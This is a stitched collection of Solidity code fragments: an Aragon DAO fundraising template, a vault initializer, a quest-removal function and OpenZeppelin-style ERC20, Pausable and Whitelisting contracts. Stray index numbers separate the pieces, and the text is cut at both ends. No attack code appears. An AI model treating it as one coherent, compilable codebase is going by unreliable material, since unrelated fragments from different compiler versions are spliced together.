batchBlocks] and does * not increase in time */ rates[_token] = _rate; floors[_token] = _floor; lastTappedAmountUpdates[_token] = _currentBatchId(); lastTapUpdates[_token] = getTimestamp(); emit AddTappedToken(_token, _rate, _floor); } function _removeTappedToken(address _token) internal { delete tappedAmounts[_token]; delete rates[_token]; delete floors[_token]; delete lastTappedAmountUpdates[_token]; delete lastTapUpdates[_token]; emit RemoveTappedToken(_token); } function _updateTappedToken(address _token, uint256 _rate, uint256 _floor) internal { /** * NOTE * withdraw before updating to keep the reserve * actual balance [balance - virtual withdrawal] * continuous in time [though a floor update can * still break this continuity] */ uint256 amount = _updateTappedAmount(_token); if (amount > 0) { _withdraw(_token, amount); } rates[_token] = _rate; floors[_token] = _floor; lastTapUpdates[_token] = getTimestamp(); emit UpdateTappedToken(_token, _rate, _floor); } function _resetTappedToken(address _token) internal { tappedAmounts[_token] = 0; lastTappedAmountUpdates[_token] = _currentBatchId(); lastTapUpdates[_token] = getTimestamp(); emit ResetTappedToken(_token); } function _withdraw(address _token, uint256 _amount) internal { tappedAmounts[_token] = tappedAmounts[_token].sub(_amount); reserve.transfer(_token, beneficiary, _amount); // vault contract's transfer method already reverts on error emit Withdraw(_token, _amount); } } // File: contracts/AavegotchiTBCTemplate.sol pragma solidity 0.4.24; contract AavegotchiTBCTemplate is EtherTokenConstant, BaseTemplate { string private constant ERROR_BAD_SETTINGS = "FM_BAD_SETTINGS"; string private constant ERROR_MISSING_CACHE = "FM_MISSING_CACHE"; bool private constant BOARD_TRANSFERABLE = false; uint8 private constant BOARD_TOKEN_DECIMALS = uint8(0); uint256 private constant BOARD_MAX_PER_ACCOUNT = uint256(1); bool private constant SHARE_TRANSFERABLE = true; uint8 private constant SHARE_TOKEN_DECIMALS = uint8(18); uint256 private constant SHARE_MAX_PER_ACCOUNT = uint256(0); uint64 private constant DEFAULT_FINANCE_PERIOD = uint64(30 days); uint256 private constant BUY_FEE_PCT = 0; uint256 private constant SELL_FEE_PCT = 0; uint32 private constant DAI_RESERVE_RATIO = 333333; // 33% uint32 private constant ANT_RESERVE_RATIO = 10000; // 1% bytes32 private constant BANCOR_FORMULA_ID = 0xd71dde5e4bea1928026c1779bde7ed27bd7ef3d0ce9802e4117631eb6fa4ed7d; bytes32 private constant PRESALE_ID = 0x5de9bbdeaf6584c220c7b7f1922383bcd8bbcd4b48832080afd9d5ebf9a04df5; bytes32 private constant MARKET_MAKER_ID = 0xc2bb88ab974c474221f15f691ed9da38be2f5d37364180cec05403c656981bf0; bytes32 private constant ARAGON_FUNDRAISING_ID = 0x668ac370eed7e5861234d1c0a1e512686f53594fcb887e5bcecc35675a4becac; bytes32 private constant TAP_ID = 0x82967efab7144b764bc9bca2f31a721269b6618c0ff4e50545737700a5e9c9dc; struct Cache { address dao; address boardTokenManager; address boardVoting; address vault; address finance; address shareVoting; address shareTokenManager; address reserve; address presale; address marketMaker; address tap; address controller; } address[] public collaterals; mapping (address => Cache) private cache; constructor( DAOFactory _daoFactory, ENS _ens, MiniMeTokenFactory _miniMeFactory, IFIFSResolvingRegistrar _aragonID, address _dai, address _ant ) BaseTemplate(_daoFactory, _ens, _miniMeFactory, _aragonID) public { _ensureAragonIdIsValid(_aragonID); _ensureMiniMeFactoryIsValid(_miniMeFactory); require(isContract(_dai), ERROR_BAD_SETTINGS); require(isContract(_ant), ERROR_BAD_SETTINGS); require(_dai != _ant, ERROR_BAD_SETTINGS); collaterals.push(_dai); collaterals.push(_ant); } /***** external functions *****/ function prepareInstance( string _boardTokenName, string _boardTokenSymbol, address[] _boardMembers, uint64[3] _boardVotingSettings, uint64 _financePeriod ) external { require(_boardMembers.length > 0, ERROR_BAD_SETTINGS); require(_boardVotingSettings.length == 3, ERROR_BAD_SETTINGS); // deploy DAO (Kernel dao, ACL acl) = _createDAO(); // deploy board token MiniMeToken boardToken = _createToken(_boardTokenName, _boardTokenSymbol, BOARD_TOKEN_DECIMALS); // install board apps TokenManager tm = _installBoardApps(dao, boardToken, _boardVotingSettings, _financePeriod); // mint board tokens _mintTokens(acl, tm, _boardMembers, 1); // cache DAO _cacheDao(dao); } function installShareApps( string _shareTokenName, string _shareTokenSymbol, uint64[3] _shareVotingSettings ) external { require(_shareVotingSettings.length == 3, ERROR_BAD_SETTINGS); _ensureBoardAppsCache(); Kernel dao = _daoCache(); // deploy share token MiniMeToken shareToken = _createToken(_shareTokenName, _shareTokenSymbol, SHARE_TOKEN_DECIMALS); // install share apps _installShareApps(dao, shareToken, _shareVotingSettings); // setup board apps permissions [now that share apps have been installed] _setupBoardPermissions(dao); } function installFundraisingApps( uint256 _goal, uint64 _period, uint256 _exchangeRate, uint64 _vestingCliffPeriod, uint64 _vestingCompletePeriod, uint256 _supplyOfferedPct, uint256 _fundingForBeneficiaryPct, uint64 _openDate, uint256 _batchBlocks, uint256 _maxTapRateIncreasePct, uint256 _maxTapFloorDecreasePct ) external { _ensureShareAppsCache(); Kernel dao = _daoCache(); // install fundraising apps _installFundraisingApps( dao, _goal, _period, _exchangeRate, _vestingCliffPeriod, _vestingCompletePeriod, _supplyOfferedPct, _fundingForBeneficiaryPct, _openDate, _batchBlocks, _maxTapRateIncreasePct, _maxTapFloorDecreasePct ); // setup share apps permissions [now that fundraising apps have been installed] _setupSharePermissions(dao); // setup fundraising apps permissions _setupFundraisingPermissions(dao); } function finalizeInstance( string _id, uint256[2] _virtualSupplies, uint256[2] _virtualBalances, uint256[2] _slippages, uint256 _rateDAI, uint256 _floorDAI ) external { require(bytes(_id).length > 0, ERROR_BAD_SETTINGS); require(_virtualSupplies.length == 2, ERROR_BAD_SETTINGS); require(_virtualBalances.length == 2, ERROR_BAD_SETTINGS); require(_slippages.length == 2, ERROR_BAD_SETTINGS); _ensureFundraisingAppsCache(); Kernel dao = _daoCache(); ACL acl = ACL(dao.acl()); (, Voting shareVoting) = _shareAppsCache(); // setup collaterals _setupCollaterals(dao, _virtualSupplies, _virtualBalances, _slippages, _rateDAI, _floorDAI); // setup EVM script registry permissions _createEvmScriptsRegistryPermissions(acl, shareVoting, shareVoting); // clear DAO permissions _transferRootPermissionsFromTemplateAndFinalizeDAO(dao, shareVoting, shareVoting); // register id _registerID(_id, address(dao)); // clear cache _clearCache(); } /***** internal apps installation functions *****/ function _installBoardApps(Kernel _dao, MiniMeToken _token, uint64[3] _votingSettings, uint64 _financePeriod) internal returns (TokenManager) { TokenManager tm = _installTokenManagerApp(_dao, _token, BOARD_TRANSFERABLE, BOARD_MAX_PER_ACCOUNT); Voting voting = _installVotingApp(_dao, _token, _votingSettings); Vault vault = _installVaultApp(_dao); Finance finance = _installFinanceApp(_dao, vault, _financePeriod == 0 ? DEFAULT_FINANCE_PERIOD : _financePeriod); _cacheBoardApps(tm, voting, vault, finance); return tm; } function _installShareApps(Kernel _dao, MiniMeToken _shareToken, uint64[3] _shareVotingSettings) internal { TokenManager tm = _installTokenManagerApp(_dao, _shareToken, SHARE_TRANSFERABLE, SHARE_MAX_PER_ACCOUNT); Voting voting = _installVotingApp(_dao, _shareToken, _shareVotingSettings); _cacheShareApps(tm, voting); } function _installFundraisingApps( Kernel _dao, uint256 _goal, uint64 _period, uint256 _exchangeRate, uint64 _vestingCliffPeriod, uint64 _vestingCompletePeriod, uint256 _supplyOfferedPct, uint256 _fundingForBeneficiaryPct, uint64 _openDate, uint256 _batchBlocks, uint256 _maxTapRateIncreasePct, uint256 _maxTapFloorDecreasePct ) internal { _proxifyFundraisingApps(_dao); _initializePresale( _goal, _period, _exchangeRate, _vestingCliffPeriod, _vestingCompletePeriod, _supplyOfferedPct, _fundingForBeneficiaryPct, _openDate ); _initializeMarketMaker(_batchBlocks); _initializeTap(_batchBlocks, _maxTapRateIncreasePct, _maxTapFloorDecreasePct); _initializeController(); } function _proxifyFundraisingApps(Kernel _dao) internal { Agent reserve = _installNonDefaultAgentApp(_dao); Presale presale = Presale(_registerApp(_dao, PRESALE_ID)); BatchedBancorMarketMaker marketMaker = BatchedBancorMarketMaker(_registerApp(_dao, MARKET_MAKER_ID)); Tap tap = Tap(_registerApp(_dao, TAP_ID)); AragonFundraisingController controller = AragonFundraisingController(_registerApp(_dao, ARAGON_FUNDRAISING_ID)); _cacheFundraisingApps(reserve, presale, marketMaker, tap, controller); } /***** internal apps initialization functions *****/ function _initializePresale( uint256 _goal, uint64 _period, uint256 _exchangeRate, uint64 _vestingCliffPeriod, uint64 _vestingCompletePeriod, uint256 _supplyOfferedPct, uint256 _fundingForBeneficiaryPct, uint64 _openDate ) internal { _presaleCache().initialize( _controllerCache(), _shareTMCache(), _reserveCache(), _vaultCache(), collaterals[0], _goal, _period, _exchangeRate, _vestingCliffPeriod, _vestingCompletePeriod, _supplyOfferedPct, _fundingForBeneficiaryPct, _openDate ); } function _initializeMarketMaker(uint256 _batchBlocks) internal { IBancorFormula bancorFormula = IBancorFormula(_latestVersionAppBase(BANCOR_FORMULA_ID)); (,, Vault beneficiary,) = _boardAppsCache(); (TokenManager shareTM,) = _shareAppsCache(); (Agent reserve,, BatchedBancorMarketMaker marketMaker,, AragonFundraisingController controller) = _fundraisingAppsCache(); marketMaker.initialize(controller, shareTM, bancorFormula, reserve, beneficiary, _batchBlocks, BUY_FEE_PCT, SELL_FEE_PCT); } function _initializeTap(uint256 _batchBlocks, uint256 _maxTapRateIncreasePct, uint256 _maxTapFloorDecreasePct) internal { (,, Vault beneficiary,) = _boardAppsCache(); (Agent reserve,,, Tap tap, AragonFundraisingController controller) = _fundraisingAppsCache(); tap.initialize(controller, reserve, beneficiary, _batchBlocks, _maxTapRateIncreasePct, _maxTapFloorDecreasePct); } function _initializeController() internal { (Agent reserve, Presale presale, BatchedBancorMarketMaker marketMaker, Tap tap, AragonFundraisingController controller) = _fundraisingAppsCache(); address[] memory toReset = new address[](1); toReset[0] = collaterals[0]; controller.initialize(presale, marketMaker, reserve, tap, toReset); } /***** internal setup functions *****/ function _setupCollaterals( Kernel _dao, uint256[2] _virtualSupplies, uint256[2] _virtualBalances, uint256[2] _slippages, uint256 _rateDAI, uint256 _floorDAI ) internal { ACL acl = ACL(_dao.acl()); (, Voting shareVoting) = _shareAppsCache(); (,,,, AragonFundraisingController controller) = _fundraisingAppsCache(); // create and grant ADD_COLLATERAL_TOKEN_ROLE to this template _createPermissionForTemplate(acl, address(controller), controller.ADD_COLLATERAL_TOKEN_ROLE()); // add DAI both as a protected collateral and a tapped token controller.addCollateralToken( collaterals[0], _virtualSupplies[0], _virtualBalances[0], DAI_RESERVE_RATIO, _slippages[0], _rateDAI, _floorDAI ); // add ANT as a protected collateral [but not as a tapped token] controller.addCollateralToken( collaterals[1], _virtualSupplies[1], _virtualBalances[1], ANT_RESERVE_RATIO, _slippages[1], 0, 0 ); // transfer ADD_COLLATERAL_TOKEN_ROLE _transferPermissionFromTemplate(acl, controller, shareVoting, controller.ADD_COLLATERAL_TOKEN_ROLE(), shareVoting); } /***** internal permissions functions *****/ function _setupBoardPermissions(Kernel _dao) internal { ACL acl = ACL(_dao.acl()); (TokenManager boardTM, Voting boardVoting, Vault vault, Finance finance) = _boardAppsCache(); (, Voting shareVoting) = _shareAppsCache(); // token manager _createTokenManagerPermissions(acl, boardTM, boardVoting, shareVoting); // voting _createVotingPermissions(acl, boardVoting, boardVoting, boardTM, shareVoting); // vault _createVaultPermissions(acl, vault, finance, shareVoting); // finance _createFinancePermissions(acl, finance, boardVoting, shareVoting); _createFinanceCreatePaymentsPermission(acl, finance, boardVoting, shareVoting); } function _setupSharePermissions(Kernel _dao) internal { ACL acl = ACL(_dao.acl()); (TokenManager boardTM,,,) = _boardAppsCache(); (TokenManager shareTM, Voting shareVoting) = _shareAppsCache(); (, Presale presale, BatchedBancorMarketMaker marketMaker,,) = _fundraisingAppsCache(); // token manager address[] memory grantees = new address[](2); grantees[0] = address(marketMaker); grantees[1] = address(presale); acl.createPermission(marketMaker, shareTM, shareTM.MINT_ROLE(),shareVoting); acl.createPermission(presale, shareTM, shareTM.ISSUE_ROLE(),shareVoting); acl.createPermission(presale, shareTM, shareTM.ASSIGN_ROLE(),shareVoting); acl.createPermission(presale, shareTM, shareTM.REVOKE_VESTINGS_ROLE(), shareVoting); _createPermissions(acl, grantees, shareTM, shareTM.BURN_ROLE(), shareVoting); // voting _createVotingPermissions(acl, shareVoting, shareVoting, boardTM, shareVoting); } function _setupFundraisingPermissions(Kernel _dao) internal { ACL acl = ACL(_dao.acl()); (, Voting boardVoting,,) = _boardAppsCache(); (, Voting shareVoting) = _shareAppsCache(); (Agent reserve, Presale presale, BatchedBancorMarketMaker marketMaker, Tap tap, AragonFundraisingController controller) = _fundraisingAppsCache(); // reserve address[] memory grantees = new address[](2); grantees[0] = address(tap); grantees[1] = address(marketMaker); acl.createPermission(shareVoting, reserve, reserve.SAFE_EXECUTE_ROLE(), shareVoting); acl.createPermission(controller, reserve, reserve.ADD_PROTECTED_TOKEN_ROLE(), shareVoting); _createPermissions(acl, grantees, reserve, reserve.TRANSFER_ROLE(), shareVoting); // presale acl.createPermission(controller, presale, presale.OPEN_ROLE(), shareVoting); acl.createPermission(controller, presale, presale.CONTRIBUTE_ROLE(), shareVoting); // market maker acl.createPermission(controller, marketMaker, marketMaker.OPEN_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.UPDATE_BENEFICIARY_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.UPDATE_FEES_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.ADD_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.REMOVE_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.UPDATE_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.OPEN_BUY_ORDER_ROLE(), shareVoting); acl.createPermission(controller, marketMaker, marketMaker.OPEN_SELL_ORDER_ROLE(), shareVoting); // tap acl.createPermission(controller, tap, tap.UPDATE_BENEFICIARY_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.ADD_TAPPED_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.UPDATE_TAPPED_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.RESET_TAPPED_TOKEN_ROLE(), shareVoting); acl.createPermission(controller, tap, tap.WITHDRAW_ROLE(), shareVoting); // controller // ADD_COLLATERAL_TOKEN_ROLE is handled later [after collaterals have been added] acl.createPermission(shareVoting, controller, controller.UPDATE_BENEFICIARY_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_FEES_ROLE(), shareVoting); // acl.createPermission(shareVoting, controller, controller.ADD_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.REMOVE_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_COLLATERAL_TOKEN_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.ADD_TOKEN_TAP_ROLE(), shareVoting); acl.createPermission(shareVoting, controller, controller.UPDATE_TOKEN_TAP_ROLE(), shareVoting); acl.createPermission(boardVoting, controller, controller.OPEN_PRESALE_ROLE(), shareVoting); acl.createPermission(presale, controller, controller.OPEN_TRADING_ROLE(), shareVoting); acl.createPermission(address(-1), controller, controller.CONTRIBUTE_ROLE(), shareVoting); acl.createPermission(address(-1), controller, controller.OPEN_BUY_ORDER_ROLE(), shareVoting); acl.createPermission(address(-1), controller, controller.OPEN_SELL_ORDER_ROLE(), shareVoting); acl.createPermission(address(-1), controller, controller.WITHDRAW_ROLE(), shareVoting); } /***** internal cache functions *****/ function _cacheDao(Kernel _dao) internal { Cache storage c = cache[msg.sender]; c.dao = address(_dao); } function _cacheBoardApps(TokenManager _boardTM, Voting _boardVoting, Vault _vault, Finance _finance) internal { Cache storage c = cache[msg.sender]; c.boardTokenManager = address(_boardTM); c.boardVoting = address(_boardVoting); c.vault = address(_vault); c.finance = address(_finance); } function _cacheShareApps(TokenManager _shareTM, Voting _shareVoting) internal { Cache storage c = cache[msg.sender]; c.shareTokenManager = address(_shareTM); c.shareVoting = address(_shareVoting); } function _cacheFundraisingApps(Agent _reserve, Presale _presale, BatchedBancorMarketMaker _marketMaker, Tap _tap, AragonFundraisingController _controller) internal { Cache storage c = cache[msg.sender]; c.reserve = address(_reserve); c.presale = address(_presale); c.marketMaker = address(_marketMaker); c.tap = address(_tap); c.controller = address(_controller); } function _daoCache() internal view returns (Kernel dao) { Cache storage c = cache[msg.sender]; dao = Kernel(c.dao); } function _boardAppsCache() internal view returns (TokenManager boardTM, Voting boardVoting, Vault vault, Finance finance) { Cache storage c = cache[msg.sender]; boardTM = TokenManager(c.boardTokenManager); boardVoting = Voting(c.boardVoting); vault = Vault(c.vault); finance = Finance(c.finance); } function _shareAppsCache() internal view returns (TokenManager shareTM, Voting shareVoting) { Cache storage c = cache[msg.sender]; shareTM = TokenManager(c.shareTokenManager); shareVoting = Voting(c.shareVoting); } function _fundraisingAppsCache() internal view returns ( Agent reserve, Presale presale, BatchedBancorMarketMaker marketMaker, Tap tap, AragonFundraisingController controller ) { Cache storage c = cache[msg.sender]; reserve = Agent(c.reserve); presale = Presale(c.presale); marketMaker = BatchedBancorMarketMaker(c.marketMaker); tap = Tap(c.tap); controller = AragonFundraisingController(c.controller); } function _clearCache() internal { Cache storage c = cache[msg.sender]; delete c.dao; delete c.boardTokenManager; delete c.boardVoting; delete c.vault; delete c.finance; delete c.shareVoting; delete c.shareTokenManager; delete c.reserve; delete c.presale; delete c.marketMaker; delete c.tap; delete c.controller; } /** * NOTE * the following functions are only needed for the presale * initialization function [which we can't compile otherwise * because of a `stack too deep` error] */ function _vaultCache() internal view returns (Vault vault) { Cache storage c = cache[msg.sender]; vault = Vault(c.vault); } function _shareTMCache() internal view returns (TokenManager shareTM) { Cache storage c = cache[msg.sender]; shareTM = TokenManager(c.shareTokenManager); } function _reserveCache() internal view returns (Agent reserve) { Cache storage c = cache[msg.sender]; reserve = Agent(c.reserve); } function _presaleCache() internal view returns (Presale presale) { Cache storage c = cache[msg.sender]; presale = Presale(c.presale); } function _controllerCache() internal view returns (AragonFundraisingController controller) { Cache storage c = cache[msg.sender]; controller = AragonFundraisingController(c.controller); } /***** internal check functions *****/ function _ensureBoardAppsCache() internal view { Cache storage c = cache[msg.sender]; require( c.boardTokenManager != address(0) && c.boardVoting != address(0) && c.vault != address(0) && c.finance != address(0), ERROR_MISSING_CACHE ); } function _ensureShareAppsCache() internal view { Cache storage c = cache[msg.sender]; require( c.shareTokenManager != address(0) && c.shareVoting != address(0), ERROR_MISSING_CACHE ); } function _ensureFundraisingAppsCache() internal view { Cache storage c = cache[msg.sender]; require( c.reserve != address(0) && c.presale != address(0) && c.marketMaker != address(0) && c.tap != address(0) && c.controller != address(0), ERROR_MISSING_CACHE ); } /***** internal utils functions *****/ function _registerApp(Kernel _dao, bytes32 _appId) internal returns (address) { address proxy = _dao.newAppInstance(_appId, _latestVersionAppBase(_appId)); emit InstalledApp(proxy, _appId); return proxy; } }
Initialize Vault app As an AragonApp it needs to be initialized in order for roles (`auth` and `authP`) to work/
function initialize() external onlyInit { initialized(); setDepositable(true); }
450,894
./full_match/1/0x08C986972dD7d08c235B3F86520Eb6718d7371aF/sources/contracts/Rewards/CvgQuest.sol
Remove a quest _answer quest's correct answer/
function removeQuest(bytes32 _answer) external onlyOwner { if (quests[_answer].rewardAmount > 0) { quests[_answer].rewardToken.transfer(msg.sender, quests[_answer].rewardAmount); } if (quests[_answer].rewardTokenId > 0) { quests[_answer].rewardNft.transferFrom(address(this), msg.sender, quests[_answer].rewardTokenId); } delete questData[quests[_answer].number]; delete quests[_answer]; }
17,027,454
pragma solidity ^0.5.0; library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } contract Whitelisting is Ownable { mapping(address => bool) public isInvestorApproved; mapping(address => bool) public isInvestorPaymentApproved; event Approved(address indexed investor); event Disapproved(address indexed investor); event PaymentApproved(address indexed investor); event PaymentDisapproved(address indexed investor); //Token distribution approval (KYC results) function approveInvestor(address toApprove) public onlyOwner { isInvestorApproved[toApprove] = true; emit Approved(toApprove); } function approveInvestorsInBulk(address[] calldata toApprove) external onlyOwner { for (uint i=0; i<toApprove.length; i++) { isInvestorApproved[toApprove[i]] = true; emit Approved(toApprove[i]); } } function disapproveInvestor(address toDisapprove) public onlyOwner { delete isInvestorApproved[toDisapprove]; emit Disapproved(toDisapprove); } function 